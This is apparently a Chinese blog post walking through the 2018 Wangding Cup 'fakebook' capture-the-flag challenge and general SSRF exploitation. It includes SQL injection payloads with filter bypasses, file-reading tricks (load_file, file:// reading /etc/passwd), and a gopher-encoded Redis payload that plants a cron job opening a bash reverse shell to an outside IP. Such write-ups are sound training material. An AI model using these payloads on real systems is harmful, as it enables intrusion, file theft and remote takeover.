会飞的鱼

2020
Godam
首页 » SSRF » 网鼎杯2018 fakebook | SSRF

网鼎杯2018 fakebook | SSRF

文章总结自以下博客:
fakebook
Fakebook
SSRF漏洞的攻击与防护

初探

对网站进行目录扫描发现存在有robots.txt和flag.php,显然我们的flag就藏在flag.php中,可是当我们访问时却没有任何响应,这有两种情况,要么页面本身没有内容,要么就是没有范围跟权限。

代码审计

在robots.txt文件中发现有user.php.bak这个备份文件在,访问并下载其内容。

<?php


class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "";

    public function __construct($name, $age, $blog)
    {
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }

    function get($url)
    {
        $ch = curl_init();
        /*curl_init():初始化一个 cURL 会话并且全部的选项都被设置后被调用*/

        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        /*
            curl_setopt — 为给定的cURL会话句柄设置一个选项。
                说明:
                    bool curl_setopt ( resource $ch , int $option , mixed $value )
                参数:
                    ch:由 curl_init() 返回的 cURL 句柄。
                    option:需要设置的CURLOPT_XXX选项。
                    value:将设置在option选项上的值。
                    对于下面的这些option的可选参数,value应该被设置一个bool类型的值:
                        CURLOPT_RETURNTRANSFER:将curl_exec()获取的信息以文件流的形式返回,而不是直接输出。
                    对于下面的这些option的可选参数,value应该被设置一个string类型的值:
                        CURLOPT_URL:需要获取的URL地址,也可以在curl_init()函数中设置。


                        ###################
                        文件流的形式:指的是在传递过程中的文件,比如你上传一张图片,那么他不是以一个完整的图片传输的,是将文件按特定编码的字符传输.这个就是文件流
        */
        $output = curl_exec($ch);
        /*curl_exec :执行 cURL 会话*/
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        /*
            curl_getinfo — 获取一个cURL连接资源句柄的信息
                说明:
                       mixed curl_getinfo ( resource $ch [, int $opt = 0 ] )获取最后一次传输的相关信息。
                参数:
                      ch 由 curl_init() 返回的 cURL 句柄。
                      opt:这个参数可能是以下常量之一:
                            CURLINFO_HTTP_CODE : 最后一个收到的HTTP代码
        */

        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);

        return $output;
    }

    public function getBlogContents ()
    {
        return $this->get($this->blog);
    }

    public function isValidBlog ()
    {
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    }

}

补充下curl的相关内容:

  • cURL是一个利用URL语法在命令行下工作的文件传输工具,1997年首次发行。它支持文件上传和下载,所以是综合传输工具,但按传统,习惯称cURL为下载工具。cURL还包含了用于程序开发的libcurl。
  • PHP支持的由Daniel Stenberg创建的libcurl库允许你与各种的服务器使用各种类型的协议进行连接和通讯。
  • libcurl目前支持http、https、ftp、gopher、telnet、dict、file和ldap协议。libcurl同时也支持HTTPS认证、HTTP POST、HTTP PUT、 FTP 上传(这个也能通过PHP的FTP扩展完成)、HTTP 基于表单的上传、代理、cookies和用户名+密码的认证。
  • PHP中使用cURL实现Get和Post请求的方法
    这些函数在PHP 4.0.2中被引入。

    深入探究

    sJ29aT.md.png
    在添加了一个用户之后,点击,发现有个frame标签在代码中,此处data协议的使用格式为:data:text/html;base64,
    我们只要想办法让data协议后面接上flag.php的内容。可是我们现在并不知道:一、flag文件的路径,二、如何将内容添加到data协议后面。
    这时候观察url,发现no参数可能存在注入,通过报错查看,可以找到路径为/var/www/html。并且可能存在注入漏洞。
    页面回显有三个字段,通过view.php?no=1 order by 5#可以知道SQL语句查询字段数为4,使用view.php?no=2 union select 1,2,3,4#来判断回显字段位,发现被ban了,尝试用/**/或者++替换空格绕过:
    view.php?no=2 UniOn select 1,2,3,4#
    view.php?no=2 union SelEct 1,2,3,4#
    view.php?no=2 uunionnion selselectect 1,2,3,4#
    view.php?no=2 union/**/select 1,2,3,4#
    view.php?no=2 union++select 1,2,3,4#
    
    sJWt58.png
    可以看到第2个字段可以使用
    view.php?no=2 union++select 1,user(),3,4#
    view.php?no=2 union++select 1,database(),3,4#
    

    SQL解法

    sJfeLn.png
    竟然是root用户,权限很高,可以直接访问系统文件,而且要求文件的绝对路径,对于这道题来说刚好全部都有:view.php?no=2 union/**/select 1,load_file("/var/www/html/flag.php"),3,4#
    sJfzpF.png
    回显flag

    SSRF 服务器端请求伪造 解法

    我们已经拿到数据库名:fakebook,接下来拿表名:
    view.php?no=2 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema="fakebook"#
    只有一个user表,查找表的字段:
    view.php?no=2 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_name="users"#
    发现有个data字段不知道是什么,我们查看下:
    view.php?no=2 union/**/select 1,group_concat(username,passwd,data),3,4 from users where no=1#
    发现最后的data是序列化的UserInfo对象,和开篇的代码审计有关,我们现在用现成的data数据来模拟一下:
    view.php?no=2 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:123;s:4:"blog";s:8:"123.blog";}'
    sJ5LTI.png
    如图 成功回显
    下面用这个序列化的对象来回显flag,用file伪协议读取flag内容交给blog参数,这时源码中的iframe的src就发生了变化:
    view.php?no=2%20union/**/select%201,2,3,%27O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:123;s:4:"blog";s:29:"file:///var/www/html/flag.php";}%27
    src变成了data:text/html;base64,PD9waHANCg0KJGZsYWcgPSAiZmxhZ3tjMWU1NTJmZGY3NzA0OWZhYmY2NTE2OGYyMmY3YWVhYn0iOw0KZXhpdCgwKTsNCg==,经base64编码后的源码。解码之后拿到flag。

    拓展SSRF知识

    通过SSRF漏洞可以:
  • 扫内网
  • 向内部任意主机的任意端口发送精心构造的Payload
  • DOS攻击(请求大文件,始终保持连接Keep-Alive Always)
  • 攻击内网的web应用,主要是使用GET参数就可以实现的攻击(比如struts2,sqli等)
  • 利用file协议读取本地文件等

    漏洞利用

    漏洞的利用常常出现在curl函数处

    本地利用

    ```

    dict protocol (操作Redis)

    curl -vvv ‘dict://127.0.0.1:6379/info’

file protocol (任意文件读取)

curl -vvv ‘file:///etc/passwd’

gopher protocol (一键反弹Bash)

* 注意: 链接使用单引号,避免$变量问题

curl -vvv ‘gopher://127.0.0.1:6379/_1%0d%0a$8%0d%0aflushall%0d%0a3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a/1 bash -i >& /dev/tcp/103.21.140.84/6789 0>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a’

[gopher在SSRF中的使用][4]
### 远程利用

<?php
function curl($url){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_exec($ch);
curl_close($ch);
}
$url = $_GET[‘url’];
curl($url);

1. 利用file协议读取文件:`test.php?url=file://C://phpstudy//WWW//1.txt`
2. 利用dict协议查看端口开放:`test.php?url=dict://127.0.0.1:80`
3. 当端口未开放时,使用gopher协议反弹shell,漏洞代码testssrf2.php
限制了只能使用HTTP,HTTPS,设置跳转重定向为True(默认不跳转)

<?php
function curl($url){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, True);
//限制为HTTP,HTTPS
curl_setopt($ch,CURLOPT_PROTOCOLS,CURLPROTO_HTTP|CURLPROTO_HTTPS);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_exec($url);
curl_close();

$url = $_GET[‘url’];

?>

此时用file、dict等协议就没有用了。
此时可以利用302跳转进行利用

<?php
$schema = $_GET[‘s’];
$ip = $_GET[‘i’];
$port = $_GET[‘p’];
$query = $_GET[‘q’];
if(empty($port)){
header(“Location: $schema://$ip/$query”);
}else{
header(“Location: $schema://$ip:$port/$query”);
}

## 漏洞代码
### curl造成的ssrf

function curl($url){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_exec($ch);
curl_close($ch);

$url = $_GET[‘url’];

### file_get_contents造成的ssrf

$url = $_GET[‘url’];

### fsockopen造成的SSRF

<?php
function Getfile($host, $port, $link){
$fp = fsockopen($host, intval($port), $errno, $errstr, 30);
if(!$fp){
echo “$errstr (error number $errno) \n”;
}else{
$out = “GET $link HTTP/1.1\r\n”;
$out .= “HOST $host \r\n”;
$out .= “Connection: Close\r\n\r\n”;
$out .= “\r\n”;
fwrite($fp, $out);
$content = ‘’;
while(!feof($fp)){
$contents .= fgets($fp, 1024);
}
fclose($fp);
return $contents;
}
}
```
其中函数的方法学习链接:
curl
fsockopen
file_get_contents()

文章如无特别注明均为原创! 作者: 果果, 转载或复制请以 超链接形式 并注明出处 GODAM|博客|godam
原文地址《 网鼎杯2018 fakebook | SSRF》发布于2021-1-17

分享到:
打赏

评论

游客

切换注册

登录

您也可以使用第三方帐号快捷登录

切换登录

注册

sitemap